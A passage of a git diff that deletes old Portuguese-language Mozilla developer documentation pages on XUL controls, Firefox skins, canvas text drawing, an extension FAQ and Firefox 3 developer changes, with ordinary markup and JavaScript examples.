Use o painel do lado direito do DOM Inspector para descobrir pontos de fusão com ids que você pode usar para inserir seus elementos de sobreposição. Se você não pode descobrir um elemento com um id que você pode fundir, você pode necessitar anexar um script em sua sobreposição e inserir seus elementos quando o evento load for exibido na janela mestre XUL.

-

Depurando extensões

-

Ferramentas Analíticas para Depurar

-
    -
  • O DOM Inspector — inspeciona atributos, estrutura DOM, regras no estilo CSS que estão em efeito (e.g. descubra porque suas regras de estilo não aparecem trabalhando por um elemento — uma ferramenta inestimável!)
  • -
  • Venkman — configura pontos de parada em JavaScript e inspeciona pilhas de chamadas.
  • -
  • arguments.callee.caller em JavaScript — acessa a função de pilhas de chamadas.
  • -
-

Depuração printf

-
    -
  • Rode o Firefox com -console na linha de comando e use dump("string") (veja o link para detalhes).
  • -
  • Use en:nsIConsoleService para logar ao console JavaScript.
  • -
-

Depuração avançada

-
    -
  • Rode uma depuração do Firefox construída e configure pontos de parada no próprio Firefox ou em componentes C++. Para o desenvolvedor com experiência, este é freqüentemente a maneira mais rápida de diagnosticar o problema. Veja Build Documentation e Desenvolvimento Mozilla para mais informações.
  • -
  • Veja Debugging a XULRunner Application para mais tipos de ajuda.
  • -
-

Começo rápido

-

Você pode usar a ferramenta online Extension Wizard para gerar uma simples extensão para trabalhar junto.

-

Um Hello World extension similar ao que você pode gerar com o Extension Wizard é explicado linha por linha em outro tutorial do MozillaZine Knowledge Base.

-

Informações adicionais

- diff --git a/files/pt-pt/orphaned/controles_xul/index.html b/files/pt-pt/orphaned/controles_xul/index.html deleted file mode 100644 index 435c9b65cd..0000000000 --- a/files/pt-pt/orphaned/controles_xul/index.html +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: Controles XUL -slug: orphaned/Controles_XUL -tags: - - PrecisaDeRevisãoEditorial - - Todas_as_Categorias - - XUL -original_slug: Controles_XUL ---- -

A tabela a seguir lista todas as interfaces providas pelo XUL. Veja o Tutorial XUL para um guia passo-a-passo de como elas são utilizadas e a Referência XUL para uma referência rápida.

- -
<button>

Um botão que pode ser pressionado pelo usuário.

-<button label="Save" accesskey="S"/>
-
Image:Controlsguide-button.png
<button type="menu">

A button that has a drop down menu attached to it. Pressing the button opens the menu.

-<button type="menu" label="View">
-  <menupopup>
-    <menuitem label="List"/>
-    <menuitem label="Details"/>
-  </menupopup>
-</button>
-
Image:Controlsguide-button-menu.png
<button type="menu-button">

A button that that has a separate arrow button with a menu attached to it. Unlike with the 'menu' type, a separate action may be performed when the main part of the button is pressed.

-<button type="menu-button" label="New">
-  <menupopup>
-    <menuitem label="New Document"/>
-    <menuitem label="New Image"/>
-  </menupopup>
-</button>
-
Image:Controlsguide-button-menubutton.png
<checkbox>

A control that may be turned on and off, typically used to create options which may be enabled or disabled.

-<checkbox label="Show Toolbar Labels" checked="true"/>
-
Image:Controlsguide-checkbox.png
<colorpicker>

A control that may be used to select a color.

-<colorpicker color="#FF0000"/>
-
Image:Controlsguide-colorpicker.png
<colorpicker type="button">

A specialized type of color picker which shows only a button but when pressed, a popup will be displayed to select a color from.

-<colorpicker type="button" color="#CC0080"/>
-
Image:Controlsguide-colorpicker-button.png
<datepicker>

New in Mozilla 1.9 / Firefox 3

A set of textboxes which may be used to allow the entry of a date.

-<datepicker value="2007/03/26"/>
-
Image:Controlsguide-datepicker.png
<datepicker type="grid">

New in Mozilla 1.9 / Firefox 3

A datepicker which displays a calendar grid for selecting a date.

-<datepicker type="grid" value="2007/02/20"/>
-
Image:Controlsguide-datepicker-grid.png
<datepicker type="popup" >

New in Mozilla 1.9 / Firefox 3

A datepicker which displays a set of textboxes for date entry, but also has a button for displaying a popup calendar grid.

-<datepicker type="popup" value="2008/08/24"/>
-
 
<description>

The description element is used to for descriptive text.

-<description>
-  Select a time for the event to start
-</description>
-
Image:Controlguide-description.png
<groupbox>

A groupbox displays a labelled box around other user interface controls.

-<groupbox>
-  <caption label="Network"/>
-</groupbox>
-
Image:Controlguide-groupbox.png
<image>

An image specified by a URL.

-<image src="start.png"/>
-
Image:Controlguide-image.png
<label>

A label is used to create text which labels a nearby control.

-<label control="volume" value="Volume:"/>
-
Image:Controlguide-label.png
<listbox>

The listbox is used to select an item from a list of labelled items.

-<listbox>
-  <listitem label="Chocolate"/>
-  <listitem label="Jelly Beans"/>
-</listbox>
-
Image:Controlguide-listbox.png
<menulist>

A menulist (or combobox) is used to create a control with a drop down to select a value.

-<menulist>
-  <menupopup>
-    <menulist label="Lions" value="l"/>
-    <menuitem label="Tigers" value="t"/>
-    <menuitem label="Bears" value="b"/>
-  </menupopup>
-</menulist>
-
Image:Controlguide-menulist.png
<menulist editable="true">

An editable menulist is like a standard menulist except that the selected value is displayed in a textbox where it may be modified directly or values not in the popup list may be entered.

-<menulist editable="true">
-  <menupopup>
-    <menuitem label="Elephants" value="Elephants"/>
-    <menuitem label="Kangaroos" value="Kangaroos"/>
-    <menuitem label="Bats" value="Bats"/>
-  </menupopup>
-</menulist>
-
Image:Controlguide-menulist-editable.png
<progressmeter>

A progress meter is used to display the progress of a lengthy task.

-<progressmeter value="40"/>
-
Image:Controlguide-progressmeter.png
<radio>

A radio button is used when only one of a set of options may be selected at a time.

-<radiogroup>
-  <radio label="Light" value="light"/>
-  <radio label="Heavy" value="heavy"/>
-</radiogroup>
-
Image:Controlguide-radio.png
<richlistbox>

The richlistbox displays a list of items where one or more may selected. Unlike the listbox which is designed to display only text, the richlistbox may display any type of content.

-<richlistbox>
-  <richlistitem>
-    <image src="happy.png"/>
-  </richlistitem>
-  <richlistitem>
-    <image src="sad.png"/>
-  </richlistitem>
-  <richlistitem>
-    <image src="angry.png"/>
-  </richlistitem>
-</richlistbox>
-
Image:Controlguide-richlistbox.png
<scale>

New in Mozilla 1.9 / Firefox 3

A scale displays a bar with a thumb that may be slid across the bar to select between a range of values.

-<scale min="1" max="10"/>
-
Image:Controlguide-scale.png
<textbox>

A textbox which allows a single line of text to be entered.

-<textbox value="firefox"/>
-
Image:Controlguide-textbox.png
<textbox multiline="true">

A textbox which allows multiple lines of text to be entered.

-<textbox multiline="true"/>
-
Image:Controlguide-textbox-multiline.png
<textbox type="autocomplete">

A textbox which provides a dropdown showing matches that would complete what the user types. The user can select one to have it filled into the textbox.

-<textbox type="autocomplete" autocompletesearch="history"/>
-
 
<textbox type="number">

New in Mozilla 1.9 / Firefox 3

A textbox for entering numbers. Two arrow buttons are displayed for cycling through values.

-<textbox type="number" min="1" max="20"/>
-
Image:Controlguide-textbox-number.png
<textbox type="password">

A textbox that hides the characters typed, used for entering passwords.

-<textbox type="password"/>
-
Image:Controlguide-textbox-password.png
<timepicker>

New in Mozilla 1.9 / Firefox 3

A timepicker displays a set of textboxes for entering a time.

-<timepicker value="12:05"/>
-
Image:Controlguide-timepicker.png
<toolbarbutton>

A button that is displayed on a toolbar.

-<toolbarbutton label="Reload"/>
-
Image:Controlguide-toolbarbutton.png
<toolbarbutton type="menu">

A button that is displayed on a toolbar with a drop down menu attached to it.

-<toolbarbutton type="menu" label="Show">
-  <menupopup>
-    <menuitem label="Toolbars"/>
-    <menuitem label="Status Bar"/>
-  </menupopup>
-</toolbarbutton>
-
 
<toolbarbutton type="menu-button">

A button on a toolbar that that has a separate arrow button with a menu attached to it. Unlike with the 'menu' type, a separate action may be performed when the main part of the button is pressed.

-<toolbarbutton type="menu-button" label="Open">
-  <menupopup>
-    <menuitem label="Open Changed Files"/>
-    <menuitem label="Open All"/>
-  </menupopup>
-</toolbarbutton>
-
 
<tree>

A tree displays a hierarchy of items in multiple columns.

-<tree>
-  <treecols>
-    <treecol label="Name" flex="1"/>
-    <treecol label="Size" flex="1"/>
-  </treecols>
-  <treechildren>
-    <treeitem>
-      <treerow>
-        <treecell label="Popcorn"/>
-        <treecell label="Large"/>
-      </treerow>
-    </treeitem>
-    <treeitem>
-      <treerow>
-        <treecell label="Root Beer"/>
-        <treecell label="Small"/>
-      </treerow>
-    </treeitem>
-  </treechildren>
-</tree>
-
Image:Controlguide-tree.png
-

Categorias

-

Interwiki Language Links

-

{{ languages( { "en": "en/XUL_controls" } ) }}

diff --git a/files/pt-pt/orphaned/criando_um_visual_para_o_firefox/index.html b/files/pt-pt/orphaned/criando_um_visual_para_o_firefox/index.html deleted file mode 100644 index 0eb2f2a936..0000000000 --- a/files/pt-pt/orphaned/criando_um_visual_para_o_firefox/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Criando um visual para o Firefox -slug: orphaned/Criando_um_visual_para_o_Firefox -tags: - - Temas - - Todas_as_Categorias -original_slug: Criando_um_visual_para_o_Firefox ---- -

 

- -

Introdução

- -

Para poder criar um visual para o Firefox, são três coisas que você precisa saber fazer: como editar imagens, como extrair arquivos zip e como modificar CSS. O Firefox utiliza imagens nos formatos GIF, PNG e JPEG para os botões, e CSS para estilizar todo o restante na interface.

- -

O que é um visual?

- -

Um visual não altera totalmente a interface; em parte, somente define seu aspecto. Você não pode alterar o que acontece quando o usuário clica com o botão direito sobre uma imagem, mas pode alterar a aparência do menu de contexto (Torná-lo azul com pontos cor-de-rosa, por exemplo). Se quer alterar a funcionalidade do Firefox, você terá que ver sobre como modificar o chrome, que está além do contido deste documento. --Milona87 19:12, 18 Fevereiro 2008 (PST)Texto a negrito--Milona87 19:12, 18 Fevereiro 2008 (PST)

- -

Conteúdos

- - - -
-
-

Informação sobre o Documento Original

- -
    -
  • Os documentos originais estão relacionados por completo na versão em inglês deste artigo
  • -
  • O artigo já previamente traduzido para o português de Portugal foi utilizado como base
  • -
-
- -

 

diff --git a/files/pt-pt/orphaned/criar_uma_pele_para_o_firefox/index.html b/files/pt-pt/orphaned/criar_uma_pele_para_o_firefox/index.html deleted file mode 100644 index 66f3c1d759..0000000000 --- a/files/pt-pt/orphaned/criar_uma_pele_para_o_firefox/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Criar uma pele para o Firefox -slug: orphaned/Criar_uma_pele_para_o_Firefox -tags: - - Temas - - Todas_as_Categorias -original_slug: Criar_uma_pele_para_o_Firefox ---- -

-

-

Introdução

-

Para criar um tema para o Firefox, você precisa saber fazer três coisas: editar imagens, extrair arquivos zip e modificar CSS. O Firefox utiliza imagens em formato GIF, PNG e JPEG para os botões, e CSS para estilizar todo o restante da interface. -

O que é um Tema? -

Um tema não altera totalmente a interface, apenas redefine sua aparência. Você não pode alterar o que acontece quando o usuário clica com o botão direito do mouse sobre uma imagem, mas pode alterar a aparência do menu de contexto (torná-lo azul com pontos cor-de-rosa, por exemplo). Se quiser mudar a funcionalidade do Firefox, você deve estudar como modificar o chrome, que está além do escopo deste documento. -

{{ languages( { "en": "en/Creating_a_Skin_for_Firefox" } ) }} diff --git a/files/pt-pt/orphaned/desenhando_texto_usando_canvas/index.html b/files/pt-pt/orphaned/desenhando_texto_usando_canvas/index.html deleted file mode 100644 index 42035ff02a..0000000000 --- a/files/pt-pt/orphaned/desenhando_texto_usando_canvas/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Desenhando texto usando canvas -slug: orphaned/Desenhando_texto_usando_canvas -tags: - - HTML:Canvas - - PrecisaDeConteúdo -original_slug: Desenhando_texto_usando_canvas ---- -

{{ Gecko_minversion_header("1.9") }} O elemento <canvas> dá suporte a desenho de texto através da API experimental Mozilla-specific.

-

API

-
attribute DOMString mozTextStyle;
-void mozDrawText(in DOMString textToDraw);
-float mozMeasureText(in DOMString textToMeasure);
-void mozPathText(in DOMString textToPath);
-void mozTextAlongPath(in DOMString textToDraw, in boolean stroke);
-
-

Notas

-
    -
  • A fonte default é 12pt sans-serif.
  • -
  • Estas extensões de ainda não foram padronizadas pelo WHATWG.
  • -
  • You do not need a special context to use these; the 2D context works just fine.
  • -
  • All drawing is done using the current transform.
  • -
  • See {{ Bug(339553) }} if you'd like to read up on the implementation specifics.
  • -
-

Demonstrações

-

Veja alguns exemplos here, here, and here.

-

Alterando a fonte corrente

-

The mozTextStyle attribute reflects the current text style. It uses the same syntax as the CSS font specifier.

-

Ex:

-
ctx.mozTextStyle = "20pt Arial"
-
-

Desenhando o texto

-

Drawing is very simple. mozDrawText uses whatever the current text style is. The context's fill color is used as the text color.

-
ctx.translate(10, 50);
-ctx.fillStyle = "Red";
-ctx.mozDrawText("Sample String");
-
-

Medindo o texto

-

As vezes é de grande valia saber a largura de um bit de texto em particular (para centralizá-lo em uma janela).

-
var text = "Sample String";
-var width = ctx.canvas.width;
-var len = ctx.mozMeasureText(text);
-ctx.translate(len/2, 0);
-ctx.mozDrawText(text);
-
-

Text/path interaction

-

If you want to stroke text, mozDrawText doesn't let you. However, mozPathText adds the strokes from the text to the current path.

-
ctx.fillStyle = "green";
-ctx.strokeStyle = "black";
-ctx.mozPathText("Sample String");
-ctx.fill()
-ctx.stroke()
-
-

Now say you have a path that you want to add text along (say a curved line or something); this is where mozTextAlongPath comes in. Unlike the other text functions, mozTextAlongPath takes two arguments: the text and what to do with it. mozTextAlongPath approximates the current path as a series of line segments and places each glyph along that flattened path. The glyphs are not scaled or transformed according to the curvature of their baseline; they take on the orientation of the flattened path at the midpoint of the glyph.

-

Once mozTextAlongPath knows where the glyphs are, it looks at the second parameter to decide what to do with them. If the second parameter is false, then it will draw the glyphs just like mozDrawText does. If it is true, then it will add the glyphs to the current path, just like mozPathText does. This can be used to create some unique effects.

-

Categorias

-

Interwiki Language Links

-

{{ languages( { "en": "en/Drawing_text_using_a_canvas", "es": "es/Dibujar_texto_usando_canvas", "fr": "fr/Dessin_de_texte_avec_canvas", "ja": "ja/Drawing_text_using_a_canvas" } ) }}

diff --git "a/files/pt-pt/orphaned/faq_extens\303\265es/index.html" "b/files/pt-pt/orphaned/faq_extens\303\265es/index.html" deleted file mode 100644 index 02a8a98c41..0000000000 --- "a/files/pt-pt/orphaned/faq_extens\303\265es/index.html" +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: FAQ Extensões -slug: orphaned/FAQ_Extensões -tags: - - Extensões -original_slug: FAQ_Extensões ---- -

Esse é um guia rápido de respostas para as perguntas mais frequentes sobre o desenvolvimento de Extensões.

-

Elas são escritas focadas mais no Firefox, mas a maioria é fácil de ser transferida para o SeaMonkey, Thunderbird ou qualquer desses outros aplicativos.

-

Se você está procurando um lugar para começar, tente nosso tutorial, Construir uma Extensão ou

-

MozillaZine's Getting started tutorial. Use o Extension Wizard para gerar um template para começar nele.

-

Tenha certeza de Setting up extension development environment.

-

Depurando

-

Você deve set development preferences antes de partir para depurar sua extensão.

-

O depurador em JavaScript Venkman pode ser viável em casos complexos, mas lembre-se de desligar a opção "Debug -> Exclude Browser Files" enquanto está trabalhando no código da extensão.

-

Como eu posso ver os erros no meu código?

-

Depois de set development preferences javascript.options.showInConsole para true, os erros serão mostrados no Console JavaScript. Note que apesar de seu nome todos os erros são mostrados lá.

-

Como eu posso mostrar o que minha extensão está fazendo?

-

Você pode usar o alert(), dump(), Components.utils.reportError(), ou até the console service para mostrar dados variáveis e o texto da depuração.

-

Por que meu código não roda corretamente?

-

Se o seu código não trabalha como o esperado, a primeira coisa que você deve fazer é checar o console JavaScript (veja sobre).

-

Um erro comum é tentar acessar a DOM (Document Object Model - Modelo de objeto do documento) de uma janela antes que ela esteja totalmente carregada. Isso acontece se você coloca o código de inicialização no topo do seu código -script- (i.e. fora de qualquer função). O conserto é usar um load para listar eventos para travar seu código até que a janela termine de carregar:

-
function exampleBrowserStartup(event)
-{
-  // coloque o código de inicialização aqui
-}
-window.addEventListener("load", exampleBrowserStartup, false);
-
-

Acessando um documento de uma página que não funciona

-

Para acessar um documento de uma página web atual através do browser.xul overlay, você deve usar o content.document, ao invés de apenas document que é o próprio documento da janela do navegador. Veja en:Working with windows in chrome code para mais detalhes. Você pode também, por padrão en:XPCNativeWrapper que previne você de acessar através do acesso de um "script-defined objects" na página web e fazer outras tarefas.

-

Aparece um erro de análise XML, mas o arquivo parece correto!

-

Uma fonte comum de erros de análise (como <font color="red">texto vermelho</font> com uma <font color="red">-------------^</font> abaixo) é um caracter & ou um < em seu código ou um valor de atributo, que tem uma função especial em XML. Por exemplo:

-
<button oncommand="window.open('http://example.com/q?param1=value&param2=val2')"/>
-
-

ou

-
<script>function lesser(a,b) { return a < b ? a : b; }</script>
-
-

O problema pode ser resolvido por uma das seguintes formas:

-
  1. substitua o caracter que não é representação de conflito XML (Exemplo: "&" -> "&amp;"<" -> "&lt;")
  2. (em caso de ser um nó de texto, como um código) coloque tags de CDATA ao redor:
    <script><![CDATA[
    -   function lesser(a,b) {
    -     return a < b ? a : b;
    -   }
    - ]]></script>
  3. Coloque seu código em um arquivo separado e inclua o nome dele:
    <script type="application/x-javascript" src="seucodigo.js"/>
  4. -
-

Código de Exemplo

-

A forma mais fácil para encontrar o código que você precisa para usar em algo útil é procurar uma extensão (ou parte do Mozilla mesmo) Isso faz o código e mostra como um código. (Os arquivos XPI e JAR usam o formato ZIP). Encontram-se algumas documentações em: lista de artigos relacionados com extensões no MDC, en:Code snippets, e Example code page on MozillaZine.

-

Onde posso encontrar mais ajuda?

-

Por favor veja en:Extensions:Other Resources e Extensões:Comunidade.

-

Antes de pedir ajuda, tenha certeza de configurar as preferências de depuração e cheque o console JavaScript para mensagens relacionadas. Também, não esqueça de fazer uma pequena busca antes de perguntar. E leia este FAQ!

-

Categorias

-

Interwiki Language Link

-

{{ languages( { "en": "en/Extension_Frequently_Asked_Questions", "es": "es/Preguntas_frecuentes_sobre_Extensiones", "fr": "fr/Foire_aux_questions_sur_les_extensions", "it": "it/Domande_frequenti_sulle_Estensioni", "ja": "ja/Extension_Frequently_Asked_Questions" } ) }}

diff --git a/files/pt-pt/orphaned/firefox_3_para_desenvolvedores/index.html b/files/pt-pt/orphaned/firefox_3_para_desenvolvedores/index.html deleted file mode 100644 index 95c705f699..0000000000 --- a/files/pt-pt/orphaned/firefox_3_para_desenvolvedores/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Firefox 3 para desenvolvedores -slug: orphaned/Firefox_3_para_desenvolvedores -original_slug: Firefox_3_para_desenvolvedores ---- -

Vou incluir documentos abaixo na lista: -- Quer estar adiante da curva e certificar-se que suas extensões, web sites ou aplicações estão prontas para a próxima geração do Firefox? Verifique em nosso conteúdo especialmente organizado para suas necessidades: * Atualizando extensões para o Firefox 3 * Atualizando aplicações web para o Firefox 3

-

Novas características para desenvolvedores no Firefox 3

-

O Firefox 3 será liberado em breve, e já existe um número interessante de mudanças implementadas. Abaixo está uma lista de algumas das características.

-

Para desenvolvedores de aplicações e web sites

-

Veja também Mudanças no Gecko 1.9 que afetam websites.

-

Web Applications 1.0

-

Mark Finkle (mfinkle em #devmo) dirige o trabalho de documentação nas Web Applications 1.0

- -
Aplicações Web 1.0 (HTML5, XHTML5) é ainda um esboço sendo trabalhado, não final.
-

Recursos offline

-

A implementação está em progresso - veja {{ Bug(367447) }} e dependências. Spec em progresso está em http://www.campd.org/stuff/Offline Cache.html.

-

CSS

-

Eric Shepherd (sheppy em #devmo) dirige a documentação CSS para o Firefox 3.

-
  • Os valores das propriedades inline-block e inline-table do {{ Cssxref("display") }} estão agora implementadas.
  • A propriedade {{ Cssxref("font-size-adjust") }} agora trabalha em todas as plataformas; anteriormente era somente suportada no Windows.
  • Suporte a valores de cores rgba() e hsla() ({{ Bug(147017) }})
  • Suporte a pseudo-classe :default ({{ Bug(302186) }})
  • Os valores -moz-intrinsic, -moz-min-intrinsic, -moz-shrink-wrap e -moz-fill foram adicionados a {{ Cssxref("width") }}, {{ Cssxref("min-width") }} e {{ Cssxref("max-width") }} ({{ Bug(311415) }})
  • -
-

DOM

-
  • As extensões DOM clientTop e clientLeft do Internet Explorer são agora suportadas.
  • A propriedade window.fullScreen é agora sempre exata, não importa onde seja lida, mesmo no conteúdo. Anteriormente era necessário retornar incorretamente false ({{ Bug(127013) }}).
  • -
-

JavaScript

-
  • O suporte para JavaScript 1.8 está em progresso ({{ Bug(380236) }}). John Resig dirigirá o trabalho de documentação neste tópico.
    • Tudo que foi implementado já está documentado na página JavaScript 1.8.
    • Veja este blog post para alguma informação adicional.
  • -
-

XSLT/XPath

-
  • Suporte ao node-set ({{ Bug(193678) }}, spec)
  • Suporte a expressões regulares ({{ Bug(354886) }}, spec)
  • -
-

SVG

-
  • Suporte ao elemento foreignObject ({{ Bug(326966) }}, spec, veja também). mfinkle
  • Suporte ao elemento pattern (spec)
  • Suporte ao elemento mask (spec)
  • Suporte a filtros SVG (spec)
    • filter
    • feBlend
    • feComponentTransfer, feFuncR, feFuncG, feFuncB, feFuncA
    • feComposite
    • feFlood
    • feGaussianBlur
    • feMerge, feMergeNode
    • feMorphology
    • feOffset
    • feTurbulence
  • O elemento a tornou-se nsSVGAElement em vez de XBL binding.
  • Várias funções do DOM para textos foram implementadas.
  • -
-

Para desenvolvedores de extensões e XUL

-

Novos elementos XUL

-

Mark Finkle (mfinkle in #devmo) dirige a documentação de novos elementos XUL.

-

O XUL no Firefox 3 suporta um número de novos elementos:

-
  • O novo elemento <scale> permite a criação de escalas móveis que deixam o usuário selecionar qualquer valor em um alcance especificado. Esta bugiganga pode ser usada tipicamente, por exemplo, para criar um controle de volume.
  • Um novo valor, number, para o atributo de caixas de texto type cria uma caixa de texto em que somente podem entrar números. Em adição, botões de flecha aparecem de um lado que pode ser usado como passo através de valores. {{ interwiki('wikimo', 'XUL:Specs:NumberBox', 'Para mais informações sobre caixas de texto numéricas') }} ({{ Bug(345510) }})
  • Um elemento <dropmarker> que foi adicionado é útil na criação de bugigangas como menus usando XBL bindings. ({{ Bug(348614) }})
  • Um elemento <spinbuttons> que foi adicionado pode ser usado na criação de bugigangas usando XBL bindings. ({{ Bug(155053) }})
  • Duas bugigangas, <datepicker> e <timepicker>, podem ser usadas para permitir a entrada de datas e tempos. O datepicker está disponível em um número de estilos por configuração do atributo type, para permitir a entrada com caixas de texto ou uma grade de calendário. {{ interwiki('wikimo', 'XUL:Specs:DateTimePickers', 'Para mais informações sobre datepicker') }} Referência do Datepicker Referência do Timepicker
  • -
-

Melhorias da árvore

-
  • Árvores agora suportam rolagem horizontal. Uma barra de rolagem horizontal aparecerá se as colunas não couberem na largura disponível. Isto ocorrerá se as colunas tiverem larguras especificadas maiores do que o espaço disponível. ({{ Bug(212789) }})
  • Uma nova seleção de estilos permite que as células sejam selecionadas individualmente, em vez de fileiras inteiras. Isto pode ser usado configurando-se o atributo seltype em uma árvore de 'cell'. ({{ Bug(296040) }})
  • Árvores agora suportam edição de células individuais. Um duplo-clique em uma célula editável exibirá um campo de texto em que o usuário pode editar o conteúdo de uma célula. {{ interwiki('wikimo', 'XUL:Tree', 'Mais detalhes') }} ({{ Bug(201499) }})
  • Os elementos <treecol> agora suportam um atributo overflow que pode ser configurado verdadeiro para permitir o texto de células dentro dessa coluna para expandir para expandir à células vizinhas vazias se o texto for muito grande para caber dentro de uma célula simples.
  • -
-

Melhorias do menu

-

Sérias melhorias nos elementos <menu> e <menulist> foram feitas ({{ Bug(333023) }}):

-
  • O atributo image é usado consistentemente para configurar imagens
  • Listas de menu despendem o evento selecionado quando selecionando um item
  • As propriedades inputField e editable foram adicionadas a lista de menu
  • Os elementos <menu>, <menuitem> e <menuseparator> agora têm uma propriedade selected somente leitura que recupera se o item é selecionado em uma <menulist>
  • Os elementos <menu>, <menuitem> e <menuseparator> agora têm uma propriedade control somente leitura que retorna incluindo <menulist>
  • Os elementos <menu>, <menuitem> e <menuseparator> agora suportam as propriedades accessKey, disabled, crop, image e label que configuram o atributo correspondente.
  • O elemento <menu> agora tem métodos para anexar, inserir e remover itens do menu. ({{ Bug(372552) }})
  • Suporta uma propriedade editor para pegar um nsIEditor interno para o campo de texto de uma lista de menu editável. ({{ Bug(312867) }})
  • Menus podem agora ser feitos trasnlúcidos em plataformas que suportam isso. ({{ Bug(70798) }})
  • -
-

Melhorias da caixa de texto

-
  • Configurando o atributo spellcheck para 'true' em uma caixa de texto habilitará a checagem gramatical em linha para esta caixa de texto. ({{ Bug(346787) }})
  • O <textbox> agora tem um método reset() para restaurar o valor da caixa de texto para o valor padrão. A propriedade defaultValue pode ser usada para reaver e modificar o valor pardrão da caixa de texto. ({{ Bug(312867) }})
  • Suporta uma propriedade editor para pegar o interno nsIEditor para um campo de texto. ({{ Bug(312867) }})
  • texbox agora suporta um atributo newlines que especifica como as quebras de linha em textos colados são manipuladas. ({{ Bug(253481) }}) Valores possíveis são:
    • pasteintact - cola tudo como é
    • pastetofirst - (valor padrão) cola somente até a primeira quebra de linha
    • replacewithspaces - substitui as quebras de linha por espaços em branco
    • replacewithcommas - substitui as quebras de linha por vírgula
    • strip - tira todas as quebras de linha
    • stripsurroundingwhitespace - tira todas as quebras de linha e espaço em branco adjacente
  • -
-

Melhorias para outros elementos

-
  • O atributo type em um <button> pode ser configurado para 'repeat' para criar botões que têm seus comandos de eventos repetidos enquanto o botão do mouse estiver pressionado. ({{ Bug(331055) }})
  • O atributo buttondisabledaccept pode agora ser usado no elemento <dialog> para botões de aceitação (OK) inicialmente habilitados. ({{ Bug(247849) }})
  • O elemento <titlebar> agora suporta o atributo allowevents para permitir eventos passarem às crianças da barra de título. ({{ Bug(361425) }})
  • O <splitter> agora suporta um valor adicional para o atributo collapse de 'both' que indica que o divisor pode derrubar elementos em ambos os lados disso quando arrastado. O atributo substate configurará qualquer antes ou depois quando está derrubado. ({{ Bug(337955) }})
  • O elemento <richlistbox> agora suporta múltipla seleção. Configue o atributo seltype para 'multiple' para habilitar isto.
  • -
-

Mudanças na disposição

-

A documentação de modelos está sendo dirigida por Mark Finkle (mfinkle em #devmo).

-

Os modelos tiveram significativas melhoras no Firefox 3. A melhora da chave permite o uso de processadores customizados inquirir para manipular outros tipos de códigos de dados adicionalmente ao RDF. Uma nova sintaxe de inquisição torna isto possível. Uma descrição completa das novas características disponíveis para modelos {{ interwiki('wikimo', 'XUL:Template_Features_in_1.9', 'está disponível') }}. ({{ Bug(285631) }})

-

Outras melhoras nos modelos:

-
  • Condições relacionais foram adicionadas para permitir uma maior precisão no controle sobre que resultados formam uma regra. Estas permissões, por exemplo, tornam os resultados que começam ou terminam com certas strings, ou que estão antes ou depois de outros valores.
  • Uma bandeira 'não recurso' foi adicionada para prevenir recursos que aconteçam somente em um nível de resultados que são gerados.
  • APIs foram adicionadas ao construtor de modelos para recuperar um objeto resultado representando um item de saída.
  • O seviço de tipos XUL está mais robusto e classifica ambos conteúdo e não conteúdo em melhores árvores. Isto também permite a classificação de não modelos que constroem conteúdo. ({{ Bug(335122) }})
  • -
-

Serviço inativo

-

Um novo serviço foi adicionado para determinar quanto tempo o usuário está inativo (que é, desde a última vez que ele pressionou uma tecla ou moveu seu mouse). Este serviço implementa a interface nsIIdleService.

-

Erros notáveis reparados

-
  • Se um erro ocorrer analisando graficamente uma sobreposição, a sobreposição não é aplicada. Erros de análise gramatical são registrados no console de erros. ({{ Bug(355755) }})
  • Erro fixado onde os elementos de <menupopup> podem ser colocados dentro de um binding quando anexado a um elemento menu ou parecido com menu. ({{ Bug(345896) }})
  • A propriedade do botão dlgType agora trabalha adequadamente. ({{ Bug(308591) }})
  • O argumento canBubble para event.initEvent agora trabalha adequadamente então estes eventos podem ser usados que não daram problema. ({{ Bug(330190) }})
  • O evento DOMAttrModified agora funciona adequadamente com atributos de espaçamento nomeados manualmente. ({{ Bug(247095) }})
  • Instruções de processamento XML, como em <?xml-stylesheet ?>, foram agora adicionados a um documento XUL no DOM. Isto significa que document.firstChild não é garantido como o elemento raiz, em vez disso use document.documentElement. Também, as instruções de processamento <?xml-stylesheet ?> e <?xul-overlay ?> agora não tem nenhum efeito fora do documento prolog. ({{ Bug(319654) }})
  • As funções de getElementsByAttributeNS foram adicionadas aos elementos XUL e documentos. ({{ Bug(239976) }})
  • Ouvidores de eventos são mantidos quando movendo ou removendo um elemento de um documento XUL. ({{ Bug(286619) }})
  • Eventos de mutação são agora voltados para documentos não-exibição. ({{ Bug(201238) }})
  • Várias edições com elementos desenhados em ordem errada foram arrumados. ({{ Bug(317375) }})
  • -
-

Places

-
  • Comparação da API de Histórico e Favoritos com Fx2
  • Anotações
  • Inquisições sobre Histórico, Favoritos e Anotações
  • Eventos de Histórico e Favoritos
  • Sincronização
  • Lugares das Bugigangas
  • -
-

Gerenciador de download

-
  • O Back-end convertido de RDF para mozStorage (resultou em uma mudança de API para nsIDownloadManager e nsIDownload). ({{ Bug(380250) }})
  • Gerenciador de download pode agora suportar mais do que uma lista de progresso. ({{ Bug(289540) }})
  • Veja esta página para informações adicionais.
  • -
-

Gerenciador de senha

- -

Coletor do ciclo de XPCOM

-
  • Veja {{ interwiki('wikimo', 'Interfacing_with_the_XPCOM_cycle_collector', 'Interfacing with the XPCOM cycle collector') }}
  • Veja {{ interwiki('wikimo', 'Global_nsICycleCollector_service', 'Global nsICycleCollector service') }}
  • {{ Bug(333078) }}
  • -
-

Veja também

- -

*Updating extensions for Firefox 3

- -

{{ languages( { "en": "en/Firefox_3_for_developers", "fr": "fr/Firefox_3_pour_les_d\u00e9veloppeurs", "ja": "ja/Firefox_3_for_developers", "pl": "pl/Firefox_3_dla_programist\u00f3w", "ko": "ko/Firefox_3_for_developers" } ) }}

diff --git "a/files/pt-pt/orphaned/java_em_extens\303\265es_do_firefox/index.html" "b/files/pt-pt/orphaned/java_em_extens\303\265es_do_firefox/index.html" deleted file mode 100644 index ddf6752a3a..0000000000 --- "a/files/pt-pt/orphaned/java_em_extens\303\265es_do_firefox/index.html" +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Java em Extensões do Firefox -slug: orphaned/Java_em_Extensões_do_Firefox -tags: - - Extensões - - Java - - Todas_as_Categorias -original_slug: Java_em_Extensões_do_Firefox ---- -

